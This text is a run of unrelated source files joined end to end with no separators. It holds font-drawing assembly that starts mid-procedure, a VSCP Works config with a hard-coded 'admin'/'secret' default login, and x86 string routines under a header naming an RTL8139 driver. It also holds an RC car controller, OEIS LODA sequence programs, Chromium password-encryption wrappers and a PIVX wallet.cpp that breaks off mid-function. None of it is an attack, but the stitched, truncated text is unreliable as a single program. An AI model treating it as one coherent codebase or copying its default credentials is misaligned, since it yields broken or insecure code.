DCB_3 call MidScanNextWin DCB_3: shl ah,1 jnc loop4 mov [es:di], bx loop4: inc di inc di dec dx jnz DCB_4 call MidScanNextWin DCB_4: shl ah,1 jnc loop5 mov [es:di], bx loop5: inc di inc di dec dx jnz DCB_5 call MidScanNextWin DCB_5: shl ah,1 jnc loop6 mov [es:di], bx loop6: inc di inc di dec dx jnz DCB_6 call MidScanNextWin DCB_6: shl ah,1 jnc loop7 mov [es:di], bx loop7: inc di inc di dec dx jnz DCB_7 call MidScanNextWin DCB_7: shl ah,1 jnc loop8 mov [es:di], bx loop8: inc di inc di dec dx jnz DCB_8 call MidScanNextWin DCB_8: ret DrawOneDataByte endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Char2In2Out %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a character, 2 bytes of picture data CALLED BY: INTERNAL FastCharCommon PASS: ds:si - character data es:di - screen position ch - number of lines to draw on stack - ax RETURN: ax - popped off stack DESTROYED: ch, dx, bp, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Char2In2Out proc near uses bx .enter NMEM < mov bp, cs:[modeInfo].VMI_scanSize > sub bp, 32 mov bx, cs:[currentColor] ; get current draw color ; do next scan. Load data byte and go for it. scanLoop: call DrawOneDataByte call DrawOneDataByte dec ch ; one less scan to do jz done NMEM < NextScan di,bp ; onto next scan line > MEM < NextScan di ; onto next scan line > MEM < tst cs:[bm_scansNext] ; if zero, done > MEM < jns scanLoop > NMEM < jmp scanLoop > done: .leave pop ax jmp PSL_afterDraw Char2In2Out endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Char3In3Out %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a character, 3 bytes of picture data CALLED BY: INTERNAL FastCharCommon PASS: ds:si - character data es:di - screen position ch - number of lines to draw on stack - ax RETURN: ax - popped off stack DESTROYED: ch, dx, bp, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Char3In3Out proc near uses bx .enter NMEM < mov bp, cs:[modeInfo].VMI_scanSize > sub bp, 48 mov bx, cs:[currentColor] ; get current draw color ; do next scan. Load data byte and go for it. scanLoop: call DrawOneDataByte call DrawOneDataByte call DrawOneDataByte dec ch ; one less scan to do jz done NMEM < NextScan di,bp ; onto next scan line > MEM < NextScan di ; onto next scan line > MEM < tst cs:[bm_scansNext] ; if zero, done > MEM < jns scanLoop > NMEM < jmp scanLoop > done: .leave pop ax jmp PSL_afterDraw Char3In3Out endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Char4In4Out %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a character,4 bytes of picture data CALLED BY: INTERNAL FastCharCommon PASS: ds:si - character data es:di - screen position ch - number of lines to draw on stack - ax RETURN: ax - popped off stack DESTROYED: ch, dx, bp, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Char4In4Out proc near uses bx .enter NMEM < mov bp, cs:[modeInfo].VMI_scanSize > sub bp, 64 mov bx, cs:[currentColor] ; get current draw color ; do next scan. Load data byte and go for it. scanLoop: call DrawOneDataByte call DrawOneDataByte call DrawOneDataByte call DrawOneDataByte dec ch ; one less scan to do jz done NMEM < NextScan di,bp ; onto next scan line > MEM < NextScan di ; onto next scan line > MEM < tst cs:[bm_scansNext] ; if zero, done > MEM < jns scanLoop > NMEM < jmp scanLoop > done: .leave pop ax jmp PSL_afterDraw Char4In4Out endp
// stdafx.cpp : source file that includes just the standard includes // Cache.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h"
#include "vscpworksconfig.h" /////////////////////////////////////////////////////////////////////////////// /// \brief canalInterface::canalInterface /// canalInterface::canalInterface() { m_flags = 0; } /////////////////////////////////////////////////////////////////////////////// /// \brief tcpipInterface::tcpipInterface /// tcpipInterface::tcpipInterface() { m_strHost = "localhost"; m_strUser = "admin"; m_strPassword = "secret"; m_port = VSCP_LEVEL2_TCP_PORT; m_bLevel2 = false; clearVSCPFilter( &m_vscpfilter ); } /////////////////////////////////////////////////////////////////////////////// /// \brief vscpworksconfig::vscpworksconfig /// vscpworksconfig::vscpworksconfig() { }
; RTL8139 Network Driver for xOS ; Copyright (c) 2017 by Omar Mohammad use32 hex_values: db "0123456789ABCDEF" ; strlen: ; Calculates string length ; In\ ESI = String ; Out\ EAX = String size strlen: push esi xor ecx, ecx .loop: lodsb cmp al, 0 je .done inc ecx jmp .loop .done: mov eax, ecx pop esi ret ; hex_nibble_to_string: ; Converts a hex nibble to string ; In\ AL = Low nibble to convert ; Out\ ESI = String hex_nibble_to_string: and eax, 0x0F add eax, hex_values mov al, [eax] mov [.string], al mov esi, .string ret .string: times 2 db 0 ; hex_byte_to_string: ; Converts a hex byte to string ; In\ AL = Byte ; Out\ ESI = String hex_byte_to_string: mov [.byte], al call hex_nibble_to_string mov edi, .string+1 movsb mov al, [.byte] shr al, 4 call hex_nibble_to_string mov edi, .string movsb mov esi, .string ret .byte db 0 .string: times 3 db 0 ; hex_word_to_string: ; Converts a hex word to a string ; In\ AX = Word ; Out\ ESI = String hex_word_to_string: mov [.word], ax call hex_byte_to_string mov edi, .string+2 movsw mov ax, [.word] shr ax, 8 call hex_byte_to_string mov edi, .string movsw mov esi, .string ret .word dw 0 .string: times 5 db 0 ; hex_dword_to_string: ; Converts a hex dword to a string ; In\ EAX = DWORD ; Out\ ESI = String hex_dword_to_string: mov [.dword], eax call hex_word_to_string mov edi, .string+4 movsd mov eax, [.dword] shr eax, 16 call hex_word_to_string mov edi, .string movsd mov esi, .string ret .dword dd 0 .string: times 9 db 0 ; hex_qword_to_string: ; Converts a hex qword to a string ; In\ EDX:EAX = QWORD ; Out\ ESI = String hex_qword_to_string: push edx call hex_dword_to_string mov edi, .string+8 mov ecx, 8 rep movsb pop eax call hex_dword_to_string mov edi, .string mov ecx, 8 rep movsb mov esi, .string ret .qword dd 0 .string: times 17 db 0 ; int_to_string: ; Converts an unsigned integer to a string ; In\ EAX = Integer ; Out\ ESI = ASCIIZ string int_to_string: push eax mov [.counter], 10 mov edi, .string mov ecx, 10 mov eax, 0 rep stosb mov esi, .string add esi, 9 pop eax .loop: cmp eax, 0 je .done2 mov ebx, 10 mov edx, 0 div ebx add dl, 48 mov byte[esi], dl dec esi sub byte[.counter], 1 cmp byte[.counter], 0 je .done jmp .loop .done: mov esi, .string ret .done2: cmp byte[.counter], 10 je .zero mov esi, .string .find_string_loop: lodsb cmp al, 0 jne .found_string jmp .find_string_loop .found_string: dec esi ret .zero: mov edi, .string mov al, '0' stosb mov al, 0 stosb mov esi, .string ret .string: times 11 db 0 .counter db 0 ; trim_string: ; Trims a string from forward and backward spaces ; In\ ESI = String ; Out\ ESI = Modified string trim_string: push esi .trim_spaces: mov ax, [esi] cmp ax, 0x2020 je .remove_space cmp al, 0 je .removed_all_spaces add esi, 2 jmp .trim_spaces .remove_space: mov word[esi], 0x0000 add esi, 2 jmp .trim_spaces .removed_all_spaces: pop esi .search_for_start: cmp byte[esi], 0x00 je .forward mov [.string], esi mov esi, [.string] call strlen add esi, eax dec esi cmp byte[esi], 0x20 je .remove_last_space mov esi, [.string] ret .forward: inc esi jmp .search_for_start .remove_last_space: mov byte[esi], 0x00 mov esi, [.string] ret .string dd 0 ; swap_string_order: ; Swaps the byte-order of a string (needed for ATA really.. stupid) ; In\ ESI = String ; Out\ String modified swap_string_order: pusha .loop: mov ax, [esi] cmp al, 0 je .done cmp ah, 0 je .done xchg al, ah mov [esi], ax add esi, 2 jmp .loop .done: popa ret ; find_byte_in_string: ; Find a byte within a string ; In\ ESI = String ; In\ DL = Byte to find ; In\ ECX = Total bytes to search ; Out\ EFLAGS.CF = 0 if byte found ; Out\ ESI = Pointer to byte in string find_byte_in_string: .loop: lodsb cmp al, dl je .found loop .loop stc ret .found: dec esi clc ret ; count_byte_in_string: ; Counts how many times a byte is repeated in a string ; In\ ESI = String ; In\ DL = Byte value ; Out\ EAX = Number of times count_byte_in_string: pusha call strlen add eax, esi mov [.end_of_string], eax mov [.times], 0 .loop: lodsb cmp al, dl je .increment cmp esi, [.end_of_string] jge .done jmp .loop .increment: inc [.times] cmp esi, [.end_of_string] jge .done jmp .loop .done: popa mov eax, [.times] ret align 4 .end_of_string dd 0 .times dd 0
; RC Car --- Control an RC car using a Nunchuk controller to drive a dual H-bridge such as L298N. ; Uses arduino pins 7-10 for controlling the H-bridge jmp main include "libraries/Nunchuk.asm" main: jsr nunchuck_init ldr #7,A out {arduino_output},A ldr #8,A out {arduino_output},A ldr #9,A out {arduino_output},A ldr #10,A out {arduino_output},A loop: jsr nunchuck_update ldr [nunchuck_joystick_x],A cmp $A0 jr not_turn_right,C ldr $1,A out {arduino_7},A ldr $0,A out {arduino_8},A out {arduino_9},A ldr $1,A out {arduino_10},A jmp loop not_turn_right: ldr [nunchuck_joystick_x],B ldr $60,A cmp B jr not_turn_left,C ldr $0,A out {arduino_7},A ldr $1,A out {arduino_8},A out {arduino_9},A ldr $0,A out {arduino_10},A jmp loop not_turn_left: ldr [nunchuck_joystick_y],A cmp $A0 jr not_drive_forward,C ldr $1,A out {arduino_7},A ldr $0,A out {arduino_8},A ldr $1,A out {arduino_9},A ldr $0,A out {arduino_10},A jmp loop not_drive_forward: ldr [nunchuck_joystick_y],B ldr $60,A cmp B jr not_drive_reverse,C ldr $0,A out {arduino_7},A ldr $1,A out {arduino_8},A ldr $0,A out {arduino_9},A ldr $1,A out {arduino_10},A jmp loop not_drive_reverse: ldr $0,A out {arduino_7},A out {arduino_8},A out {arduino_9},A out {arduino_10},A jmp loop
; A187391: Floor(r*n), where r=1+sqrt(8)+sqrt(7); complement of A187392. ; Submitted by Christian Krause ; 6,12,19,25,32,38,45,51,58,64,71,77,84,90,97,103,110,116,123,129,135,142,148,155,161,168,174,181,187,194,200,207,213,220,226,233,239,246,252,258,265,271,278,284,291,297,304,310,317,323,330,336,343,349,356,362,369,375,381,388,394,401,407,414,420,427,433,440,446,453 add $0,1 lpb $0 sub $0,1 add $1,123 lpe div $1,19 mov $0,$1
; A333871: Sum of the iterated absolute Möbius divisor function (A173557). ; Submitted by Christian Krause ; 0,1,3,1,5,3,9,1,3,5,15,3,15,9,9,1,17,3,21,5,15,15,37,3,5,15,3,9,37,9,39,1,25,17,27,3,39,21,27,5,45,15,57,15,9,37,83,3,9,5,33,15,67,3,45,9,39,37,95,9,69,39,15,1,51,25,91,17,59,27,97,3,75,39,9,21,69,27,105,5,3,45,127,15,65,57,65,15,103,9,75,37,69,83,75,3,99,9,25,5 lpb $0 mov $2,$0 seq $2,173557 ; a(n) = Product_{primes p dividing n} (p-1). add $3,$2 sub $2,1 mov $0,$2 lpe mov $0,$3
; A250024: 40n - 21. ; 19,59,99,139,179,219,259,299,339,379,419,459,499,539,579,619,659,699,739,779,819,859,899,939,979,1019,1059,1099,1139,1179,1219,1259,1299,1339,1379,1419,1459,1499,1539,1579,1619,1659,1699,1739,1779,1819,1859,1899,1939,1979,2019,2059,2099,2139,2179,2219,2259,2299,2339,2379,2419,2459,2499,2539,2579,2619,2659,2699,2739,2779,2819,2859,2899,2939,2979,3019,3059,3099,3139,3179,3219,3259,3299,3339,3379,3419,3459,3499,3539,3579,3619,3659,3699,3739,3779,3819,3859,3899,3939,3979,4019,4059,4099,4139,4179,4219,4259,4299,4339,4379,4419,4459,4499,4539,4579,4619,4659,4699,4739,4779,4819,4859,4899,4939,4979,5019,5059,5099,5139,5179,5219,5259,5299,5339,5379,5419,5459,5499,5539,5579,5619,5659,5699,5739,5779,5819,5859,5899,5939,5979,6019,6059,6099,6139,6179,6219,6259,6299,6339,6379,6419,6459,6499,6539,6579,6619,6659,6699,6739,6779,6819,6859,6899,6939,6979,7019,7059,7099,7139,7179,7219,7259,7299,7339,7379,7419,7459,7499,7539,7579,7619,7659,7699,7739,7779,7819,7859,7899,7939,7979,8019,8059,8099,8139,8179,8219,8259,8299,8339,8379,8419,8459,8499,8539,8579,8619,8659,8699,8739,8779,8819,8859,8899,8939,8979,9019,9059,9099,9139,9179,9219,9259,9299,9339,9379,9419,9459,9499,9539,9579,9619,9659,9699,9739,9779,9819,9859,9899,9939,9979 mov $1,$0 mul $1,40 add $1,19
; A010943: Binomial coefficient C(27,n). ; 1,27,351,2925,17550,80730,296010,888030,2220075,4686825,8436285,13037895,17383860,20058300,20058300,17383860,13037895,8436285,4686825,2220075,888030,296010,80730,17550,2925,351,27,1 mov $1,27 bin $1,$0
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/password_manager/core/browser/login_database.h" #include "components/os_crypt/os_crypt.h" namespace password_manager { // static LoginDatabase::EncryptionResult LoginDatabase::EncryptedString( const base::string16& plain_text, std::string* cipher_text) { return OSCrypt::EncryptString16(plain_text, cipher_text) ? ENCRYPTION_RESULT_SUCCESS : ENCRYPTION_RESULT_SERVICE_FAILURE; } // static LoginDatabase::EncryptionResult LoginDatabase::DecryptedString( const std::string& cipher_text, base::string16* plain_text) { return OSCrypt::DecryptString16(cipher_text, plain_text) ? ENCRYPTION_RESULT_SUCCESS : ENCRYPTION_RESULT_SERVICE_FAILURE; } } // namespace password_manager
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The PIVX developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "wallet.h" #include "accumulators.h" #include "base58.h" #include "checkpoints.h" #include "coincontrol.h" #include "kernel.h" #include "masternode-budget.h" #include "net.h" #include "primitives/transaction.h" #include "script/script.h" #include "script/sign.h" #include "spork.h" #include "swifttx.h" #include "timedata.h" #include "util.h" #include "utilmoneystr.h" #include "denomination_functions.h" #include "libzerocoin/Denominations.h" #include <assert.h> #include <boost/algorithm/string/replace.hpp> #include <boost/thread.hpp> #include <boost/filesystem/operations.hpp> using namespace std; /** * Settings */ CFeeRate payTxFee(DEFAULT_TRANSACTION_FEE); CAmount maxTxFee = DEFAULT_TRANSACTION_MAXFEE; unsigned int nTxConfirmTarget = 1; bool bSpendZeroConfChange = true; bool bdisableSystemnotifications = false; // Those bubbles can be annoying and slow down the UI when you get lots of trx bool fSendFreeTransactions = false; bool fPayAtLeastCustomFee = true; /** * Fees smaller than this (in duffs) are considered zero fee (for transaction creation) * We are ~100 times smaller then bitcoin now (2015-06-23), set minTxFee 10 times higher * so it's still 10 times lower comparing to bitcoin. * Override with -mintxfee */ CFeeRate CWallet::minTxFee = CFeeRate(10000); int64_t nStartupTime = GetAdjustedTime(); /** @defgroup mapWallet * * @{ */ struct CompareValueOnly { bool operator()(const pair<CAmount, pair<const CWalletTx*, unsigned int> >& t1, const pair<CAmount, pair<const CWalletTx*, unsigned int> >& t2) const { return t1.first < t2.first; } }; std::string COutput::ToString() const { return strprintf("COutput(%s, %d, %d) [%s]", tx->GetHash().ToString(), i, nDepth, FormatMoney(tx->vout[i].nValue)); } const CWalletTx* CWallet::GetWalletTx(const uint256& hash) const { LOCK(cs_wallet); std::map<uint256, CWalletTx>::const_iterator it = mapWallet.find(hash); if (it == mapWallet.end()) return NULL; return &(it->second); } CPubKey CWallet::GenerateNewKey() { AssertLockHeld(cs_wallet); // mapKeyMetadata bool fCompressed = CanSupportFeature(FEATURE_COMPRPUBKEY); // default to compressed public keys if we want 0.6.0 wallets RandAddSeedPerfmon(); CKey secret; secret.MakeNewKey(fCompressed); // Compressed public keys were introduced in version 0.6.0 if (fCompressed) SetMinVersion(FEATURE_COMPRPUBKEY); CPubKey pubkey = secret.GetPubKey(); assert(secret.VerifyPubKey(pubkey)); // Create new metadata int64_t nCreationTime = GetTime(); mapKeyMetadata[pubkey.GetID()] = CKeyMetadata(nCreationTime); if (!nTimeFirstKey || nCreationTime < nTimeFirstKey) nTimeFirstKey = nCreationTime; if (!AddKeyPubKey(secret, pubkey)) throw std::runtime_error("CWallet::GenerateNewKey() : AddKey failed"); return pubkey; } bool CWallet::AddKeyPubKey(const CKey& secret, const CPubKey& pubkey) { AssertLockHeld(cs_wallet); // mapKeyMetadata if (!CCryptoKeyStore::AddKeyPubKey(secret, pubkey)) return false; // check if we need to remove from watch-only CScript script; script = GetScriptForDestination(pubkey.GetID()); if (HaveWatchOnly(script)) RemoveWatchOnly(script); if (!fFileBacked) return true; if (!IsCrypted()) { return CWalletDB(strWalletFile).WriteKey(pubkey, secret.GetPrivKey(), mapKeyMetadata[pubkey.GetID()]); } return true; } bool CWallet::AddCryptedKey(const CPubKey& vchPubKey, const vector<unsigned char>& vchCryptedSecret) { if (!CCryptoKeyStore::AddCryptedKey(vchPubKey, vchCryptedSecret)) return false; if (!fFileBacked) return true; { LOCK(cs_wallet); if (pwalletdbEncryption) return pwalletdbEncryption->WriteCryptedKey(vchPubKey, vchCryptedSecret, mapKeyMetadata[vchPubKey.GetID()]); else return CWalletDB(strWalletFile).WriteCryptedKey(vchPubKey, vchCryptedSecret, mapKeyMetadata[vchPubKey.GetID()]); } return false; } bool CWallet::LoadKeyMetadata(const CPubKey& pubkey, const CKeyMetadata& meta) { AssertLockHeld(cs_wallet); // mapKeyMetadata if (meta.nCreateTime && (!nTimeFirstKey || meta.nCreateTime < nTimeFirstKey)) nTimeFirstKey = meta.nCreateTime; mapKeyMetadata[pubkey.GetID()] = meta; return true; } bool CWallet::LoadCryptedKey(const CPubKey& vchPubKey, const std::vector<unsigned char>& vchCryptedSecret) { return CCryptoKeyStore::AddCryptedKey(vchPubKey, vchCryptedSecret); } bool CWallet::AddCScript(const CScript& redeemScript) { if (!CCryptoKeyStore::AddCScript(redeemScript)) return false; if (!fFileBacked) return true; return CWalletDB(strWalletFile).WriteCScript(Hash160(redeemScript), redeemScript); } bool CWallet::LoadCScript(const CScript& redeemScript) { /* A sanity check was added in pull #3843 to avoid adding redeemScripts * that never can be redeemed. However, old wallets may still contain * these. Do not add them to the wallet and warn. */ if (redeemScript.size() > MAX_SCRIPT_ELEMENT_SIZE) { std::string strAddr = CBitcoinAddress(CScriptID(redeemScript)).ToString(); LogPrintf("%s: Warning: This wallet contains a redeemScript of size %i which exceeds maximum size %i thus can never be redeemed. Do not use address %s.\n", __func__, redeemScript.size(), MAX_SCRIPT_ELEMENT_SIZE, strAddr); return true; } return CCryptoKeyStore::AddCScript(redeemScript); } bool CWallet::AddWatchOnly(const CScript& dest) { if (!CCryptoKeyStore::AddWatchOnly(dest)) return false; nTimeFirstKey = 1; // No birthday information for watch-only keys. NotifyWatchonlyChanged(true); if (!fFileBacked) return true; return CWalletDB(strWalletFile).WriteWatchOnly(dest); } bool CWallet::RemoveWatchOnly(const CScript& dest) { AssertLockHeld(cs_wallet); if (!CCryptoKeyStore::RemoveWatchOnly(dest)) return false; if (!HaveWatchOnly()) NotifyWatchonlyChanged(false); if (fFileBacked) if (!CWalletDB(strWalletFile).EraseWatchOnly(dest)) return false; return true; } bool CWallet::LoadWatchOnly(const CScript& dest) { return CCryptoKeyStore::AddWatchOnly(dest); } bool CWallet::AddMultiSig(const CScript& dest) { if (!CCryptoKeyStore::AddMultiSig(dest)) return false; nTimeFirstKey = 1; // No birthday information NotifyMultiSigChanged(true); if (!fFileBacked) return true; return CWalletDB(strWalletFile).WriteMultiSig(dest); } bool CWallet::RemoveMultiSig(const CScript& dest) { AssertLockHeld(cs_wallet); if (!CCryptoKeyStore::RemoveMultiSig(dest)) return false; if (!HaveMultiSig()) NotifyMultiSigChanged(false); if (fFileBacked) if (!CWalletDB(strWalletFile).EraseMultiSig(dest)) return false; return true; } bool CWallet::LoadMultiSig(const CScript& dest) { return CCryptoKeyStore::AddMultiSig(dest); } bool CWallet::Unlock(const SecureString& strWalletPassphrase, bool anonymizeOnly) { SecureString strWalletPassphraseFinal; if (!IsLocked()) { fWalletUnlockAnonymizeOnly = anonymizeOnly; return true; } strWalletPassphraseFinal = strWalletPassphrase; CCrypter crypter; CKeyingMaterial vMasterKey; { LOCK(cs_wallet); BOOST_FOREACH (const MasterKeyMap::value_type& pMasterKey, mapMasterKeys) { if (!crypter.SetKeyFromPassphrase(strWalletPassphraseFinal, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Decrypt(pMasterKey.second.vchCryptedKey, vMasterKey)) continue; // try another master key if (CCryptoKeyStore::Unlock(vMasterKey)) { fWalletUnlockAnonymizeOnly = anonymizeOnly; return true; } } } return false; } bool CWallet::ChangeWalletPassphrase(const SecureString& strOldWalletPassphrase, const SecureString& strNewWalletPassphrase) { bool fWasLocked = IsLocked(); SecureString strOldWalletPassphraseFinal = strOldWalletPassphrase; { LOCK(cs_wallet); Lock(); CCrypter crypter; CKeyingMaterial vMasterKey; BOOST_FOREACH (MasterKeyMap::value_type& pMasterKey, mapMasterKeys) { if (!crypter.SetKeyFromPassphrase(strOldWalletPassphraseFinal, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Decrypt(pMasterKey.second.vchCryptedKey, vMasterKey)) return false; if (CCryptoKeyStore::Unlock(vMasterKey)) { int64_t nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod); pMasterKey.second.nDeriveIterations = pMasterKey.second.nDeriveIterations * (100 / ((double)(GetTimeMillis() - nStartTime))); nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod); pMasterKey.second.nDeriveIterations = (pMasterKey.second.nDeriveIterations + pMasterKey.second.nDeriveIterations * 100 / ((double)(GetTimeMillis() - nStartTime))) / 2; if (pMasterKey.second.nDeriveIterations < 25000) pMasterKey.second.nDeriveIterations = 25000; LogPrintf("Wallet passphrase changed to an nDeriveIterations of %i\n", pMasterKey.second.nDeriveIterations); if (!crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Encrypt(vMasterKey, pMasterKey.second.vchCryptedKey)) return false; CWalletDB(strWalletFile).WriteMasterKey(pMasterKey.first, pMasterKey.second); if (fWasLocked) Lock(); return true; } } } return false; } void CWallet::SetBestChain(const CBlockLocator& loc) { CWalletDB walletdb(strWalletFile); walletdb.WriteBestBlock(loc); } bool CWallet::SetMinVersion(enum WalletFeature nVersion, CWalletDB* pwalletdbIn, bool fExplicit) { LOCK(cs_wallet); // nWalletVersion if (nWalletVersion >= nVersion) return true; // when doing an explicit upgrade, if we pass the max version permitted, upgrade all the way if (fExplicit && nVersion > nWalletMaxVersion) nVersion = FEATURE_LATEST; nWalletVersion = nVersion; if (nVersion > nWalletMaxVersion) nWalletMaxVersion = nVersion; if (fFileBacked) { CWalletDB* pwalletdb = pwalletdbIn ? pwalletdbIn : new CWalletDB(strWalletFile); if (nWalletVersion > 40000) pwalletdb->WriteMinVersion(nWalletVersion); if (!pwalletdbIn) delete pwalletdb; } return true; } bool CWallet::SetMaxVersion(int nVersion) { LOCK(cs_wallet); // nWalletVersion, nWalletMaxVersion // cannot downgrade below current version if (nWalletVersion > nVersion) return false; nWalletMaxVersion = nVersion; return true; } set<uint256> CWallet::GetConflicts(const uint256& txid) const { set<uint256> result; AssertLockHeld(cs_wallet); std::map<uint256, CWalletTx>::const_iterator it = mapWallet.find(txid); if (it == mapWallet.end()) return result; const CWalletTx& wtx = it->second; std::pair<TxSpends::const_iterator, TxSpends::const_iterator> range; BOOST_FOREACH (const CTxIn& txin, wtx.vin) { if (mapTxSpends.count(txin.prevout) <= 1 || wtx.IsZerocoinSpend()) continue; // No conflict if zero or one spends range = mapTxSpends.equal_range(txin.prevout); for (TxSpends::const_iterator it = range.first; it != range.second; ++it) result.insert(it->second); } return result; } void CWallet::SyncMetaData(pair<TxSpends::iterator, TxSpends::iterator> range) { // We want all the wallet transactions in range to have the same metadata as // the oldest (smallest nOrderPos). // So: find smallest nOrderPos: int nMinOrderPos = std::numeric_limits<int>::max(); const CWalletTx* copyFrom = NULL; for (TxSpends::iterator it = range.first; it != range.second; ++it) { const uint256& hash = it->second; int n = mapWallet[hash].nOrderPos; if (n < nMinOrderPos) { nMinOrderPos = n; copyFrom = &mapWallet[hash]; } } // Now copy data from copyFrom to rest: for (TxSpends::iterator it = range.first; it != range.second; ++it) { const uint256& hash = it->second; CWalletTx* copyTo = &mapWallet[hash]; if (copyFrom == copyTo) continue; copyTo->mapValue = copyFrom->mapValue; copyTo->vOrderForm = copyFrom->vOrderForm; // fTimeReceivedIsTxTime not copied on purpose // nTimeReceived not copied on purpose copyTo->nTimeSmart = copyFrom->nTimeSmart; copyTo->fFromMe = copyFrom->fFromMe; copyTo->strFromAccount = copyFrom->strFromAccount; // nOrderPos not copied on purpose // cached members not copied on purpose } } /** * Outpoint is spent if any non-conflicted transaction * spends it: */ bool CWallet::IsSpent(const uint256& hash, unsigned int n) const { const COutPoint outpoint(hash, n); pair<TxSpends::const_iterator, TxSpends::const_iterator> range; range = mapTxSpends.equal_range(outpoint); for (TxSpends::const_iterator it = range.first; it != range.second; ++it) { const uint256& wtxid = it->second; std::map<uint256, CWalletTx>::const_iterator mit = mapWallet.find(wtxid); if (mit != mapWallet.end() && mit->second.GetDepthInMainChain() >= 0) return true; // Spent } return false; } void CWallet::AddToSpends(const COutPoint& outpoint, const uint256& wtxid) { mapTxSpends.insert(make_pair(outpoint, wtxid)); pair<TxSpends::iterator, TxSpends::iterator> range; range = mapTxSpends.equal_range(outpoint); SyncMetaData(range); } void CWallet::AddToSpends(const uint256& wtxid) { assert(mapWallet.count(wtxid)); CWalletTx& thisTx = mapWallet[wtxid]; if (thisTx.IsCoinBase()) // Coinbases don't spend anything! return; BOOST_FOREACH (const CTxIn& txin, thisTx.vin) AddToSpends(txin.prevout, wtxid); } bool CWallet::GetMasternodeVinAndKeys(CTxIn& txinRet, CPubKey& pubKeyRet, CKey& keyRet, std::string strTxHash, std::string strOutputIndex) { // wait for reindex and/or import to finish if (fImporting || fReindex) return false; // Find possible candidates std::vector<COutput> vPossibleCoins; AvailableCoins(vPossibleCoins, true, NULL, false, ONLY_10000); if (vPossibleCoins.empty()) { LogPrintf("CWallet::GetMasternodeVinAndKeys -- Could not locate any valid masternode vin\n"); return false; } if (strTxHash.empty()) // No output specified, select the first one return GetVinAndKeysFromOutput(vPossibleCoins[0], txinRet, pubKeyRet, keyRet); // Find specific vin uint256 txHash = uint256S(strTxHash); int nOutputIndex; try { nOutputIndex = std::stoi(strOutputIndex.c_str()); } catch (const std::exception& e) { LogPrintf("%s: %s on strOutputIndex\n", __func__, e.what()); return false; } BOOST_FOREACH (COutput& out, vPossibleCoins) if (out.tx->GetHash() == txHash && out.i == nOutputIndex) // found it! return GetVinAndKeysFromOutput(out, txinRet, pubKeyRet, keyRet); LogPrintf("CWallet::GetMasternodeVinAndKeys -- Could not locate specified masternode vin\n"); return false; } bool CWallet::GetVinAndKeysFromOutput(COutput out, CTxIn& txinRet, CPubKey& pubKeyRet, CKey& keyRet) { // wait for reindex and/or import to finish if (fImporting || fReindex) return false; CScript pubScript; txinRet = CTxIn(out.tx->GetHash(), out.i); pubScript = out.tx->vout[out.i].scriptPubKey; // the inputs PubKey CTxDestination address1; ExtractDestination(pubScript, address1); CBitcoinAddress address2(address1); CKeyID keyID; if (!address2.GetKeyID(keyID)) { LogPrintf("CWallet::GetVinAndKeysFromOutput -- Address does not refer to a key\n"); return false; } if (!GetKey(keyID, keyRet)) { LogPrintf("CWallet::GetVinAndKeysFromOutput -- Private key for address is not known\n"); return false; } pubKeyRet = keyRet.GetPubKey(); return true; } bool CWallet::EncryptWallet(const SecureString& strWalletPassphrase) { if (IsCrypted()) return false; CKeyingMaterial vMasterKey; RandAddSeedPerfmon(); vMasterKey.resize(WALLET_CRYPTO_KEY_SIZE); GetRandBytes(&vMasterKey[0], WALLET_CRYPTO_KEY_SIZE); CMasterKey kMasterKey; RandAddSeedPerfmon(); kMasterKey.vchSalt.resize(WALLET_CRYPTO_SALT_SIZE); GetRandBytes(&kMasterKey.vchSalt[0], 